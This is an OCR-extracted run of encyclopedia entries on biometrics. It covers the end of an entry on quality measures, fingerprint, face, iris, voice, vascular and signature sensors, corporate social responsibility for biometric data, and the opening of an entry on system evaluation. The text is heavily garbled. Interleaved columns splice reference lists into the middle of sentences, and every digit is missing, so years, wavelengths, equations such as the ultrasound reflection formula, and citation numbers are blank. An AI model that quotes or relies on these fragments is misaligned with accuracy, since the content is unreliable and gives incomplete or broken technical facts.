strongly-relevant biometric features. The joint model- using -D wavelets. In: Proceedings of the ICB,
ing approach is the most generic and flexible method of . Ratha NK, Bolle R () Fingerprint image quality estimation.
biometric classification with quality measures, as it auto- In: Proceedings of Asian Conference on Computer Vision, ,
Taipei, Taiwan, pp
matically encodes the statistical dependencies between
. Tabassi E, Wilson CL () A novel approach to fingerprint
the pieces of evidence. It also effortlessly accommodates image quality. In: IEEE international conference on image pro-
multiple modalities and multiple quality measures. The cessing (ICIP), Genoa, Italy, vol , pp
difficulty with the method is its sensitivity to the used . Alonso-Fernandez F, Fierrez J, Ortega-Garcia J, Gonzalez-
model assumptions and to the choice of the modeling Rodriguez J, Fronthaler H, Kollreider K, Bigun J () A review
of fingerprint image quality estimation methods (Special issue
strategy [].
on human detection and recognition). IEEE transactions on
Performance prediction: A popular interpretation attributes information forensics and security
the biometric quality measures the role of predictors . Alonso-Fernandez F, Fierrez J, Ortega-Garcia J, Gonzalez-
of the classification performance. This interpretation Rodriguez J, Fronthaler H, Kollreider K, Bigun J () A com-
is based on the intuitive notion that high quality of parative study of fingerprint image-quality estimation meth-
ods. IEEE transactions on information forensics and security
classified biometric signals ought to positively correlate
vol ()
with high probability of correct classification. A more . Kalka ND, Dorairai V, Shah YN, Schmid NA, Cukic B ()
principled approach to predicting performance uses the Image quality assessment for iris biometric. In: Proceedings of
quality measures for refining the accuracy of estimated SPIE, the international society for optical engineering: biomet-
posterior class probability [, ]. ric technology for human identification, vol , pp D.
D.
Model updating: Once the biometric systems models are
. Daugman J () How Iris recognition works? IEEE Trans
built, they can either remain static during deployment, CSVT ():
or be modified as the biometric system encounters new, . Wei Z, Tan T, Sun Z, Cui J () Robust and fast assess-
previously unseen data. However, in the absence of a ment of iris image quality. In: Proceedings of the international
B Biometric Sensors
conference on biometrics, vol in LNCS, Springer, Berlin,

pp Biometric Sensors
. Belcher C, Du Y () Information distance based contrast
invariant iris quality measure. In: Agaian SS, Jassim SA (eds) Achint Thomas , Venu Govindaraju
Proceedings of the SPIE, mobile multimedia/image processing,
Center for Unified Biometrics and Sensors (CUBS),
security, and applications, vol , pp OO,
. Bowyer KW, Hollingsworth K, Flynn PJ () Image under- University at Buffalo (SUNY Buffalo), The State
standing for iris biometrics: a survey. Comput Vis Image Underst University of New York, Amherst, NY, USA
():
Center for Unified Biometrics and Sensors (CUBS),
. Arcienega M, Drygajlo A () A bayesian network approach
University at Buffalo (SUNY Buffalo), Amherst, NY, USA
for combining pitch and reliable spectral envelope features for
robust speaker verification. In: Proceedings AVBPA, Guild-
ford, UK
. Huggins MC, Grieco JJ () Confidence metrics for speaker Related Concepts
identification. In: Proceedings of the th international confer- Biometric Identification and Verification; Vascular
ence on spoken language processing (ICSLP) Authentication
. Dimauro G, Impedovo S, Modugno R, Pirlo G, Sarcinella L
() Analysis of stability in hand-written dynamic signatures.
In: Proceedings of the th International workshop on frontiers
Denition
in handwriting recognition (IWFHR), pp Biometric sensors are used to collect measurable bio-
. Garcia-Salicetti S, Houmani N, Dorizzi B () A client- logical characteristics (biometric signals) from a human
entropy measure for on-line signatures. In: Proceedings of the being, which can then be used in conjunction with biomet-
biometrics symposium (BSYM) pp ric recognition algorithms to perform automated person
. Richiardi J, Kryszczuk K, Drygajlo A () Quality measures
identification.
in unimodal and multimodal biometric verification. In: Pro-
ceedings of the th European conference on signal processing
EUSIPCO , Poznan, Poland Background
. Bigun J, Fierrez-Aguilar J, Ortega-Garcia J, Gonzalez- To measure any type of biometric signal, a biometric sensor
Rodriguez J () Multimodal biometric authentication is required. This sensor may either output the raw signal
using quality signals in mobile communications. In: Proceed-
ings of the th international conference on image analysis and
or additionally convert the raw signal into a set of fea-
processing, Mantova, Italy tures that is better suited to distinguish between signals
. Fumera G, Roli F, Giacinto G () Multiple reject thresh- from separate individuals. The type of sensor used depends
olds for improving classification reliability. In: Proceedings of on the biometric signal being measured. Some biometric
SSPR/SPR, pp modalities like face and voice only require simple sensors.
. Fumera G, Roli F, Vernazza G () Analysis of error-reject
trade-off in linearly combined classifiers. In: Proceedings of
For instance, to capture a persons voice, a good-quality
the th international conference on pattern recognition, vol , microphone is sufficient (given that the sound capture
Quebec, Canada, pp occurs in a reasonably quiet environment). However, other
. Toh KA, Yau W-Y, Lim E, Chen L, Ng C-H () Fusion of auxil- biometric modalities require the use of specialized hard-
iary information for multi-modal biometrics authentication. In: ware built for that purpose. For instance, iris recognition
Proceedings of the ICB, Hong Kong, pp
. Fierrez-Aguilar J, Chen Y, Ortega-Garcia J, Jain AK ()
requires the use of cameras suited to detect light signals
Incorporating image quality in multi-algorithm fingerprint ver- in the near-infrared range of the spectrum, and multispec-
ification. In: Proceedings of the ICB, Hong Kong tral fingerprint recognition requires specially constructed
. Dass SC, Nandakumar K, Jain AK () A principled approach multispectral imaging sensors.
to score level fusion in multimodal biometric systems. In: Pro-
ceedings of the AVBPA, ,
. Poh N, Kittler J () A family of methods for quality-based
Theory
multimodal biometric fusion using generative classifiers. In:
Fingerprint
Proceedings of the th ICARCV, Hanoi, pp
. Kryszczuk K, Drygajlo A () Improving biometric verifica-
The fingerprint modality has been the oldest and most
tion with class-independent quality information (Special issue successfully deployed modality in use for person identifi-
on biometric recognition). IET Signal Process : cation. Fingerprint capture technology has matured over
. Kryszczuk K, Drygajlo A () Credence estimation and error the years. However, before discussing fingerprint sensors,
prediction in biometric identity verification. Signal Process
it is imperative to understand how fingerprint recognition
():
. Poh N, Wong SY, Kittler J, Roli F () Challenges and research
and matching is performed.
directions for adaptive biometric recognition systems. In: Pro- Sample to sample matching is achieved using features
ceedings of the international conference on biometrics, Alghero, extracted from the fingerprint. These features may be of
Italy different types. The most widespread fingerprint features
Biometric Sensors B
extracted for use by todays systems and algorithms are (c) Multispectral imaging sensors: Multispectral imaging
minutiae and ridge patterns [, ]. Minutiae can be thought (MSI) fingerprint sensors work by capturing multiple
of as points of interest in a fingerprint. Examples of minu- images of the surface of the finger as well as features
tiae are ridge endings, ridge bifurcations, short ridges or from below the finger surface. This is accomplished
islands, and ridge enclosures (a ridge that bifurcates and by using light of varied wavelengths, illumination
then rejoins after a short distance). Minutiae can be charac- orientations, and polarization conditions to capture
B
terized and quantized by a set of features. Generally, three information about surface and subsurface features in
features are sufficient to completely identify any minutia separate images which are then combined on board
in a fingerprint position co-ordinates (x-location and the sensor into a single grayscale fingerprint image.
y-location) of the minutia and the angle of orientation of Understanding skin histology is essential to under-
the minutia with respect to some chosen axis of reference. standing how MSI fingerprint sensors work. Skin is a
Various types of sensors have been used to capture multilayered organ, and the external layer is called the
fingerprint images. epidermis. The dermatoglyphic patterns (ridge lines)
(a) Optical sensors: Optical sensors were the earliest sen- on this layer extend below the surface to the subcuta-
sors used to capture fingerprint images [], and work neous skin layer called the dermis. Even if the ridge
on the principle of frustrated total internal reflec- patterns on the surface are destroyed or are difficult
tion of light. This principle describes how light, when to capture, they can be observed in the internal layer.
passing between optical media of differing refrac- MSI uses different wavelengths of light to penetrate
tive indices, experiences reflection at the interface to varying layers of the skin, different polarization
between the media. The reflected light intensity is conditions are used to change the degree of contri-
measured by a light collector. More information on bution of surface and subsurface features, and dif-
optical fingerprint sensors can be found in [, ]. ferent illumination orientations change the location
(b) Ultrasound sensors: Ultrasound technology has been and degree at which features are accented. This light
used for decades in medical applications and for non- is sourced from multiple direct-illumination LEDs,
destructive testing. Recently, it has been used to build and there also exists a single total internal reflection
fingerprint sensors. The idea is to use the transmi- LED to capture a traditional optical fingerprint image.
tive and reflective properties of ultrasound waves as MSI is very effective at capturing high-quality fin-
it passes through media of varying acoustic coupling. gerprint images even under degraded external con-
The principle of acoustic coupling for sound waves is ditions like wet skin, poor finger contact with the
analogous to total internal reflection for light. Ridges imaging platen, too dry skin, and insufficient ambi-
and valleys are detected by using the pulse-echo tech- ent lighting. More information on MSI fingerprint
nique. For two media with acoustic impedances z sensors can be found in [].
and z , the reflected energy R is given as R = (z z )/
(z + z ). The time taken to receive an echo T is
given as T = D/c , where D is the distance from Face
the measuring device to the finger and c is the speed Traditionally, high-resolution cameras have been used as
of the ultrasound wave in the medium. The finger is sensors for capturing face biometric signals. This is analo-
placed on a platen for stability and the platen is usu- gous to how humans perform face recognition. An image
ally made of polystyrene, a material whose acoustic of the face is captured by a sensor, and most of the work is
impedance closely matches that of the human body. done by pattern recognition algorithms that work on var-
Ridges are distinguished from valleys by maximizing ious features extracted from this image. This paradigm of
the reflected energy from the interface between the facial image captures restricted images to only be captured
platen and a valley and by minimizing the reflected in D which resulted in poor authentication performance.
energy from the interface between the platen and a Such systems were also highly susceptible to variations in
ridge. Using this technique, it is possible to gener- ambient lighting, subject pose, and facial expressions. Face
ate a grayscale image of the finger surface by map- biometrics then evolved to using multiple cameras to cap-
ping the magnitude of reflected ultrasound energy. ture a number of D images from various directions and
Ultrasound sensors are better suited to capturing then construct a D model of the face. This allowed for
accurate signals when compared to optical sensors better recognition performance during the identification
when dirt or other contaminants are present on the phase as the approach is more tolerant to variations in pose
surface of the finger. More information on ultrasound and to some extent illumination. A variation to the D
fingerprint sensors can be found in [, ]. model approach is the use of a range camera to construct a
B Biometric Sensors
D image of the face where the pixel intensity in the facial (b) Non-acoustic sensors are used to capture measure-
image represents the distance of that point from the cam- ments of glottal excitation and vocal-tract articulation
era. A newer approach is to use thermal imaging to capture movements. Various types of non-acoustic sensors
the patterns of surface blood vessels on the face and gen- have been developed. The general electromagnetic
erate a heat-map which can be used as a biometric signal. motion sensor (GEMS) is a microwave radar sensor
See [] for more details. that measures tissue movement during voiced speech.
The physiological microphone (P-mic) uses a piezo-
electric vibrometer. A third type of non-acoustic sen-
Iris sor works by exploiting speech transmission via bone
Iris capture devices are at their most basic level just cam- vibrations. Yet another sensor is the EGG sensor
eras that capture an image. However, due to the nature which measures vocal fold contact area to reproduce
of the image that must be captured, special care is taken speech signals. All these non-acoustic sensors have
to ensure that a high-quality iris image is obtained. The the advantage of being highly immune to external
iris occupies a small area of the eye and without sufficient acoustic disturbances (like noise from the surround-
illumination most captured images tend to turn out too ings) while supplementing the acoustic signal of the
dark. However, shining bright light on a subjects eye to speech to be captured. A major disadvantage is that
illuminate the iris is not acceptable due to the discom- they cannot be used to covertly capture a speech sig-
fort caused. For this reason, iris sensors illuminate the iris nal since they have to be attached to the speaker.
with light from the near-infrared range of the spectrum. See [] for more information on non-acoustic
Since the human eye cannot detect infrared light, no dis- sensors.
comfort will be perceived. Infrared light that is too strong
can hurt the eye and damage the surrounding tissue and to Vascular Patterns
avoid this, iris sensors abide by the guidelines laid down in This class of sensor is used to capture biometric signals that
the international illumination safety standard IEC -. relate to vascular patterns (palm vein biometrics, back of
Another variation in the types of iris sensors is the focusing hand vein biometrics, finger vein biometrics, and retinal
system used. The two kinds of focusing systems are auto- biometrics).
focus systems and fixed-focus systems. Autofocus systems Vascular authentication exploits the fact that human
make it easier to capture the iris image from varying dis- blood contains a compound called hemoglobin which is
tances and without requiring overt cooperation from the used to carry oxygen. The absorption spectrum (amount
subject. Fixed-focus systems have rigid constraints relating of incident light absorbed at different wavelengths) of
to how far the subject can be from the sensor for success- hemoglobin is different for oxygenated blood and deoxy-
ful iris capture. However, the hardware costs involved are genated blood []. In particular, deoxygenated blood
higher for autofocus systems than for fixed-focus systems. absorbs more infrared light around the nm wavelength
See [] for more details on iris capture sensors. than oxygenated blood. Since oxygenated blood is carried
by arteries and deoxygenated blood is carried by veins,
shining infrared light of nm on the vessels and mea-
Voice
suring the amount of transmitted light will show the veins
There are primarily two types of sensors used for voice
as darker regions when compared to the surrounding tis-
biometrics: acoustic sensors and non-acoustic sensors.
sue. More information on vascular authentication can be
(a) Acoustic sensors capture the acoustic signal in the found in [].
voice and take the form of commonly used micro-
phones. Two types of microphones are used for the Signature
capture of acoustic signals: dynamic microphones This class of sensor is used to capture human handwrit-
and condenser microphones. Dynamic microphones ing and signatures. The usual approach is to have a stylus
work on the principle of induction. In contrast to coupled with an electronic digitizing tablet. A number of
this technology, condenser microphones operate on technologies have been used to construct such digitizing
the principle of conduction. Condenser microphones tablets. Optical digitizing tablets use a very small camera
are more sensitive to high-frequency sounds than in the head of the stylus. This camera captures the position
dynamic microphones since they are very receptive of the stylus as it moves over a specially printed paper con-
to high transients. taining a unique pattern of dots. Passive digitizing tablets
Biometric Social Responsibility B
work on the concept of electromagnetic induction. Such of Biometrics Consortium Conference, Arlington, VA, USA,
tablets have a grid of horizontal and vertical wires gen- pp
. Watanabe M () Palm vein authentication. In: Ratha NK,
erating an electromagnetic field which is picked up by a
Govindaraju V (eds) Advances in biometrics: sensors, algo-
sensor in the stylus. The tablet is also able to receive signals rithms and systems. Springer, London
from the stylus which reports its location and other factors
such as tip pressure. The stylus itself is not powered, but
. Wray S, Cope M, Delpy DT, Wyatt JS, Reynolds EO ()
Characterization of the near infrared absorption spectra of
B
rather draws its power from the tablet. Active digitizing cytochrome aa and haemoglobin for the non-invasive moni-
toring of cerebral oxygenation. Biochimica et Biophysica Acta
tablets have self-powered styli which make them bulkier
():
but less prone to jitter. For capturing signature biometric . Yamanami T, Funahashi T, Senda T () Position detecting
signals, these digitizing tablets are usually operated to cap- aparatus. US Patent ,,, Nov
ture sample points a second, with each sample
recording the x- and y-coordinate of the stylus, the pres-
sure on the stylus, and the time points at which each sample
was collected []. An early digitizing tablet prototype is
described in []. Biometric Social Responsibility
Recommended Reading Alan D. Smith

. Buddharaju P, Pavlidis I, Manohar C () Face recogni- Department of Management and Marketing, Robert
tion beyond the visible spectrum. In: Advances in biometrics. Morris University, Pittsburgh, PA, USA
Springer, London, pp
. He Y, Wang Y, Tan T () Iris image capture system
design for personal identification. In: Advances in biometric
person authentication, vol . Springer, Berlin/Heidelberg, Synonyms
pp Biometric information ethics
. International Biometrics Group () The Henry Clas-
sification System, http://www.biometricgroup.com/Henry%
Fingerprint%Classification.pdf. Accessed Nov Related Concepts
. Jain AK, Griess FD, Connell SD () On-line signature veri- Personal Information Controls; Social Responsibility
fication. Pattern Recognit : Documentation
. Maltoni D () A tutorial on fingerprint recognition. In:
Tistarelli M, Bigun J, Grosso E (eds) Biometrics school .
Lecture notes in computer science, vol . Springer, Berlin, Denition
pp Biometric social responsibility deals with the proper ethi-
. Quatieri TF, Brady K, Messing D, Campbell WM, Brandstein
cal management of the multi-facet socio-technical impacts
MS, Weinstein CJ, Tardelli JD, Gatewood PD () Exploit-
ing nonacoustic sensors for speech encoding. IEEE Trans Audio
and issues of personally identifiable and potentially sen-
Speech Lang Process (): sitive information and the associated information infras-
. Rowe RK, Nixon KA, Butler PW () Multispectral fin- tructures designed to automatically capture, collect, and
gerprint image acquisition. In: Ratha NK, Govindaraju V store such biometric data. Defining such biometric social
(eds) Advances in biometrics: sensors, algorithms and systems.
responsibilities are acceptable approaches in dealing with
Springer, London
. Schneider JK, Gojevic SM () Ultrasonic imaging systems
the myriad of privacy and accessibility rights issues that
for personal identification IEEE Ultrasonics, Ferroelectrics and are inherently associated with the handling, storage, dis-
Frequency Control Society (UFFC-S). Ultrasonics Symposium semination, and management of personally identifiable
: information. Biometric social responsibility is just a subset
. Schneider JK () Ultrasonic fingerprint sensors. In: Ratha
of the general problem of social acceptability of biometrics
NK, Govindaraju V (eds) Advances in biometrics: sensors, algo-
rithms and systems. Springer, London
technologies, as social biometric responsibility is a com-
. Shirastsuki A et al () Novel optical fingerprint sensor utiliz- prehensive approach to address this issue of personal needs
ing optical characteristics of skin tissue under fingerprints. In: for privacy and protection from spying verses societys
Bartels K, Bass L, de Riese W, Gregory K, Hirschberg H, Katzir A, needs for providing security, safety, and quick response in
Kollias N, Madsen S, Malek R, McNally-Heintzelman K, Tate L,
case of emergencies for its citizenry. A strategic biometric
Trowers E, Wong B (eds) Photonic therapeutics and diagnostics.
Proceedings of SPIE, vol . Bellingham
social responsibility discussion is now needed to develop
. Watanabe M, Endoh T, Shiohara M, Sasaki S () Palm vein proper policies, practices, and standardized practice in the
authentication technology and its applications. In: Proceedings global economy.
B Biometric Social Responsibility
Essentially each individually has unique, immutable and reliable data, which can significantly aid management
biometric signatures, such as fingerprints, DNA, iris, facial in making quality decisions that will benefit the com-
profiles and related personal history, which can be read- pany by taking the human error out of the data collection
ily used by both governmental agencies and commercial process.
businesses, and can be captured in an electronic form However, such technical advances have affected the
with or without an individuals consent. Documenting a relationship between society and businesses in a number of
viable biometric social responsibility must create a com- ways. In general, such technology has helped develop more
prehensive approach to address the strategy that a firm advanced economies and has allowed the rise of a more
and/or governmental agency must take in order to balance leisure class. Various implementations of technology influ-
businesses and governments need to collect, store, and ence the values of a society and new technology often raises
retrieve this personally identifiable information (driven by new ethical questions. Technology has amplified the abil-
the convenience, security, and profitable aspects) with the ity of a contributor of a service to improve their customer
need of the individual to have reasonable levels of pri- relations via accurate and quick personal identification and
vacy and protection from unnecessary and unwarranted verification, such as a license or a passport. At times it may
spying. The exponential use of biometrics and related scan- also require something customers to input a password or
ning technologies in such applications as airports, air- a PIN, but biometrics and eliminate that aspect. Conve-
lines, shopping centers, and governmental campaigns to nience can be enhanced as customers walk into a store,
track its many citizens make the need doe such a policy go up to a free standing machine that will read their fin-
paramount. gerprints, retrieves the shopping history. Gentry [] noted
that customers typically find convenience and personal-
Background ized experience useful, resulting in increased business and
The intention of this report is to point out the biomet- customer satisfaction/retention. Figures and summa-
ric social responsibility problems to be addressed, not the rize selected benefits and disadvantages behind the bio-
solution. The advancement of biometric scanning tech- metric controversy.
nology has become a very controversial topic in terms As illustrated in Figs. and , providing a docu-
of its ultimate societal aims in providing security, safety, mented biometrics social responsibility has many benefits
and faster customer service that will benefit customer rela- for companies, government agencies, and consumers. Such
tionship management (CRM) now and in the future. Cus- benefits have increased greatly over the past three decades
tomer relationship management (CRM) is a broad term with security and the assurance of identification as many
that covers concepts used by companies to manage their people feel that standardized uses of biometrics, their iden-
relationships with customers, including the capture, stor- tity would be safer and that there would be a less of a
age and analysis of customer, vendor, partner, and internal chance of being a candidate for identity theft. Manage-
process information. Biometrics, in terms of this present ment frequently feel that AIDC and biometrics are precise,
study, refers to technologies for measuring and analyzing easy-to-use and are dependable means of increasing CRM
a persons physiological or behavioral characteristics, such at both the tactical and strategic levels.
as fingerprints, iris identification, voice patterns, facial
patterns, and hand-measurements, for identification and Theory of Corporate Social
verification purposes. Biometrics, if properly integrated Responsibility as Strategy
with automatic identification and data capture (AIDC)- Researchers and practitioners have long debated over the
related technologies, assist management in controlling exact definition of corporate social responsibility (CSR)
cost, inventory levels, pricing and a variety of operational []. Part of this controversy is due to the fact that the
and tracking purposes. Strategic leveraging of AIDC and concept involves a broad range of behaviors and there are
biometrics can efficiently move for competitive advan- many different views as to what constitutes sound and prof-
tages. Many businesses rely heavily on communication itable CSR strategies. According to Pearce and Robinson
devices, which aid in the development of products and [] and Smith [], good social sustainability and CSR
services, with strong communication the marketing of policies, procedures, and practices are based on the basic
products and services can be used a competitive advan- framework that businesses have a long-term responsibility
tage. AIDC in conjunction with the Internet can pro- not only to the stockholders, but also to society in general.
vide customers with incredible amounts of information In addition, Jones states that CSR is a form of self-control
for those who need it, such as car or insurance shop- which involves elements of normative constraint, altruistic
ping [, ]. Hence, AIDC and biometrics allow for timely incentive and moral imperative in the quest for corporate
Biometric Social Responsibility B
Advantages Disadvantages
Accuracy Privacy issues

security issues fear of the
Biometric unknown
Data management scanning
Legal issues
speed technology
Ethical issues B
and corporate
Easy identification social Cultural issues
easy to use responsibility
(CSR)
concerns Data base
Voluntary
Not invasive
Compatibility
Flexibility
Amendable
Biometric Social Responsibility. Fig. Forces of benets and disadvantages behind the biometric controversy
Inputs Outputs
AIDC and biometrics
Technology Faster
Convenience CRM benefits Higher accuracy
Easy ID check Efficiency
Security Better CS Peace of mind
Easy-of-use Better tracking Saving money
Saving the customer money
Biometric Social Responsibility. Fig. Basic input/output AIDC/biometric model
nirvana [, p. ]. Governmental purposes of biometric its need, the concept remains the same: there are social
scanning include advancing the security against terror- consequences to a firms actions and behaviors, and they
ist acts and the ability to keep database of citizens. With must be addressed.
the use of biometrics, there must be a balance maintained According to classic work by Carroll [, ], CSR may
between citizen conveniences, such as quick passport and be view through the evolution of four different categories
travel security approval, verses lose of privacy via exces- (economic, legal, ethical, and philanthropic), as demon-
sive monitoring. Although such comprehensive databases strated in Fig. . Economic responsibility theoretical refers
probably would help in solving crimes that are unsolved to maximizing profits in order to increase shareholder
in the U.S., but at what costs, intangible and tangible, to wealth. As a result of this behavior, company manage-
properly store and secure database warehouses, containment is acting socially responsible since it is employing
ing records of citizens and visitors biometric and personal people and making tax payments, although only a small
information. proportion of the companys stakeholders share in profits.
Advocates of CSR, according to Porter and Kramer Acting in accordance with laws that apply to the com-
[], presented four reasons for the need for CSR; namely panys activities falls into the category of legal responsi-
moral obligation, sustainability, license-to-operate, and bility. Companies also have an ethical responsibility. They
reputation. Barrett [] and Bhattacharya, Korschun, and must act in a moral manner above and beyond legal
Sen [] presented a different viewpoint, suggesting that requirements, once they met their obligations to share-
the need for CSR is based on several suppositions. First, holders and obey the existing laws. Finally, companies that
business behaviors are typically unfair, hazardous, harmful participate in voluntary activities, or good corporate cit-
to the environment, and unscrupulous. Second, businesses izenship, are practicing discretionary responsibilities, the
offer nothing to society in general. Third, corporations ultimate goals of CSR. Companies must keep in mind that
actually take something from the general public. Finally, economic and legal responsibilities are mandatory, being
a necessary requirement of a typical firm is a self-serving ethical is an expectation of society, and voluntary social
and callous nature. However, regardless of the number of commitment is anticipated by society. Perhaps the most
definitions offered for corporate social responsibility and favorable affects that following sound CSR strategies that
B Biometric Social Responsibility
Philanthropic components (Highest level of CSR)

(It is important to serve as good corporate citizen.)
Ethical components
(It is important to perform in a manner consistent with expectations of societal
mores and ethical norms.)
Legal components
(It is important to obey the laws of society.)
Profitable components (lowest level of CSR)

(The basis for all business in that they must be profitable to survive and promote
the other components.)
Biometric Social Responsibility. Fig. Carrolls model illustrating the importance of a rm maintaining protability in order to
fund other characteristics of corporations as adapted from Carroll [, ]
many businesses find that promoting public awareness of Applications of AIDC and biometric scanning must
their social responsibilities has returned a positive impact have built in personal safeguards for biometric authenti-
on the corporate financial bottom-line. cation, such as for airport security purposes, which allow
According to Carrolls [, ] model, a companys main proper access to certain restricted zones. Convenience
duty is to turn a profit, as shown in Fig. . Following CSR factors, such as replacing personally identifiable keys,
strategies has yielded positive financial results for many passwords, and timecards should propel biometrics from
companies through increasing brand awareness and loy- the luxury category to the commonplace. In the shopping
alty, by lowering costs and by enhancing current value and marketplace, biometrics will allow for many time sav-
chain integration; all of which had the affect of producing ing and e-personalization techniques in this genre, replac-
higher than expected returns. Perhaps this occurs because ing retail advantage cards and traditional modes of cash
the best CSR initiatives are also smart business decisions. transactions. As these technologies continue to develop
Whether a company pursues CSR efforts to satisfy its stake- and becoming increasing difficult to contain, will busi-
holders or to increase the efficiency of its supply chain, the nesses and government be able to have a sound platform
CSR initiative should fit the companys business strategy, for discussion and biometric social responsibility and con-
as suggested by McPeak and Tooley [] and Pfau, Haigh, sumer/citizen rights? Perhaps, only time and a directed
Sims, and Wigley []. approach of stakeholder discussions on such policies, pro-
cedures, and practices will tell.
Applications and Future Directions Recommended Reading

Social responsibility issues must be considered in any . Smith AD, Offodile OF () Information management of
national policy debate when rushing to find the apparently automated data capture: an overview of technical developments.
great need for the operational efficiencies associated with Inform Manag Comp Sec ():
. Smith AD, Offodile OF () Exploring forecasting and project
the implementation of AIDC and biometric scanning tech-
management characteristics of supply chain management. Int J
nologies. Ethical standards are traditionally considered Log Supp Manag ():
higher for governments that are assigned with the tasks . Gentry CR () Fingerprinting: the future. Retrieved Octo-
of advocating and protecting the best interests of its citi- ber , from http://proquest.umi.com/pqdweb?index=&
zens, such as increased security, particularly in the fields sid=&srchmode=&vinst=PROD&fmt=
. Aras G, Crowther D () Corporate sustainability reporting:
of terrorism and identity theft. Maintaining and providing
a study in disingenuity? J Business Ethics ():
access to such sensitive files to business and governmental . Lindgreen A, Swaen V, Johnston WL () Corporate social
agencies must consider the theoretical CSR frameworks, responsibility: an empirical investigation of U.S. organizations.
such as those proposed by Carroll [, ]. J Business ():
Biometric Systems Evaluation B
. Smith AD () Financial sustainability through contingency under given conditions. The goal of such an evaluation is a
planning: multi-case study. Int J Sustain Eco (): comparison to another system, or a prediction of the sys-
. Smith AD () The impact of e-procurement systems on cus-
tems performance using unseen biometric data, collected
tomer relationship management: a multiple case study. Int J
Procure Manag ():
under similar operating conditions.
. Smith AD () Leveraging concepts of knowledge manage-
ment with total quality management: case studies in the service Background B
sector. Int J Log Sys Manag (): Biometric systems serve the purpose of assigning a class
. Vilanova M, Lozano JM, Arenas D (, April) Exploring the label to an acquired biometric data record. The procedure
nature of the relationship between CSR and competitiveness. of assigning such a label always requires a decision. In the
J Business Ethics ():
case of identity verification, this decision is binary and it
. Pearce J, Robinson R () Strategic management: formulation,
implementation, and control, th edn. New York: McGraw- reflects the difference between the genuine and the imposter
Hill/Irwin identity claims. In the case of identification, a particular
. Jones TM () Corporate social responsibility: revisited, rede- identity stands behind the class label. The core functional
fined. Cal Manag Rev (): unit of a biometric system, responsible for taking the deci-
. Porter ME, Kramer M (, December) Strategy and society:
sion on assigning a particular class label, is a classifier. The
the link between competitive advantage and corporate social
responsibility. Harvard Business Rev (): goal of the design and deployment of a biometric system is
. Barrett D (, January) Corporate social responsibility and to maximize the accuracy of biometric decision-making,
quality management revisited. J Quality Participation (): which is equivalent to minimizing the number of erro-
neous decisions of the classifier. It is also desirable to keep
. Bhattacharya CB, Korschun D, Sen S () Strengthening
to a minimum the number of cases, when the biometric
stakeholder-company relationships through mutually benefi-
cial corporate social responsibility initiatives. J Business Ethics classifier is unable to return a decision. The ability of a
(): biometric classifier to accurately assign a class label hinges
. Carroll A (, August/July) The pyramid of corporate social on other components of the biometric system, including
responsibility: toward the moral management of organizational the user interface (including the deployment environment)
stakeholders. Business Horizons ():
and the biometric signal acquisition and processing units.
. Carroll A () Corporate social responsibility. Business Soc
(): Biometric classification systems are often deployed in
. McPeak C, Tooley N (, Summer) Do corporate social sensitive environments, where erring or remaining unde-
responsibility leaders perform better financially? J Global Busi- cided can be costly and may entail severe legal, logistical, or
ness Issues (): economical consequences. It is easy to imagine the incon-
. Pfau M, Haigh M, Sims J, Wigley S (, Summer) The influ-
venience caused by, for instance, a malfunctioning biomet-
ence of corporate social responsibility campaigns on public
opinion. Corp Reput Rev (): ric access control unit at a border crossing. Therefore, it is
essential that a biometric system be thoroughly evaluated
before it is deployed. The goal of such an evaluation is to
estimate the expected performance of the components of
Biometric Systems Evaluation the biometric system that may impact the systems func-
tionality. Consequently, all critical functional parts of the
Jonas Richiardi , Krzysztof Kryszczuk system, including the user interface, acquisition hardware
Ecole Polytechnique, Fdrale de Lausanne EPFL - STI and software, and the classifier unit, undergo testing and
IBI, Lausanne, Switzerland performance evaluation.
IBM Zurich Research Laboratory (DTI), Lausanne, The performance of a biometric system is often thought
Switzerland of in terms of classification performance. The classifier
accuracy is indeed important, but other aspects of the
systems functionality, for example, its conformance with
Synonyms existing standards and inter-operability with other biomet-
Biometric performance evaluation; Biometric testing
ric systems, can be of interest.
Related Concepts Theory
Biometrics Biometric systems evaluation is a multi-faceted concept. Its
most prominent aspects are as follows:
Denition
Biometric system evaluation is a procedure of quantify- Usability and Deployment Ergonomics Tests are performed
ing the performance of a biometric recognition system in order to estimate the ease of use of a biometric
B Biometric Systems Evaluation
system in particular operating conditions. The essen- International Civil Aviation Organization Machine
tial outcomes of such tests are answers to the following Readable Travel Documents (ICAO MRTD) []).
questions: how easily and intuitively can users access Inter-operability Testing uses biometric data collected using
the system, donate their biometric credentials; how fast different acquisition devices, and treated using the
can new users learn to use the system; what is the pro- same preprocessing and classification algorithms. The
file of the population of target users; and what are the usual goal of an inter-operability test is to establish
chances that the users from outside of this profile may whether a biometric database collected using a par-
face difficulties using the system. ticular acquisition hardware can be used to recognize
Biometric Acquisition Device: Hardware and Software Tests biometric signals collected with a different biometric
are performed in order to assess the quality and fidelity sensor.
of the biometric signals acquired in various operational Technology Testing involves different biometric algorithms,
conditions typically, the test is performed in the most tested using one database collected from one fixed pop-
adverse conditions that can be anticipated during the ulation in one environment using one sensor. Tech-
practical system deployment. An example of such a test nology tests are often used in academic algorithmic
is the evaluation of fingerprint scanners in the pres- competitions.
ence of varying air temperature and humidity: it is Scenario Evaluations constrain the population and the
desirable that the quality of the acquired fingerprint environment to stay the same, while different biometric
images remain the same, regardless of the ambient con- sensors are used to collect the database (corresponding
ditions. The nature and scope of the acquisition tests to the same scenario) [].
is determined by the involved technology, and by the Operational and Usability Testing aim to test a full system
biometric modality. in a specific environment with a specific population;
Classification Accuracy Tests are undertaken with the aim the sensor hardware and algorithm may stay the same
to provide the estimates of the expected error rates of but results are not directly transferable to other envi-
the considered system in the target operating environ- ronments or populations.
ment. Depending on the scale of the evaluation, the test
The formal definitions and procedures for biomet-
can range from makeup deployments in target environ-
ric systems, evaluation are covered in detail in ISO/IEC
ment to evaluations involving off-line, pre-recorded
standard (Biometric performance testing and repor-
databases. The latter type of evaluations is most com-
ting) [].
mon in comparative tests of competing systems or
technologies.
Information Security Tests are conducted in order to esti-
Quantitative Evaluation of Usability and
mate how hard it is to compromise the systems security
Deployment Ergonomics
as a result of a deliberate, malevolent action, such as
Usability of biometric system encompasses such properties
presentation of a spoofed biometrics, data injection,
as effectiveness, efficiency, and user satisfaction []. The
man-in-the-middle attack, etc. Often the vulnerabil-
published record research focused on the usability, and on
ity of a biometric system lies outside and beyond the
the issues relating to how humans interact with and use
biometric technology itself, and it depends on such fac-
biometric devices is limited []. Commonly used usabil-
tors: data transmission protocols, data storage format,
ity measures such as Failure To Enroll (FTE) and Failure to
operating system, physical enclosure and accessibil-
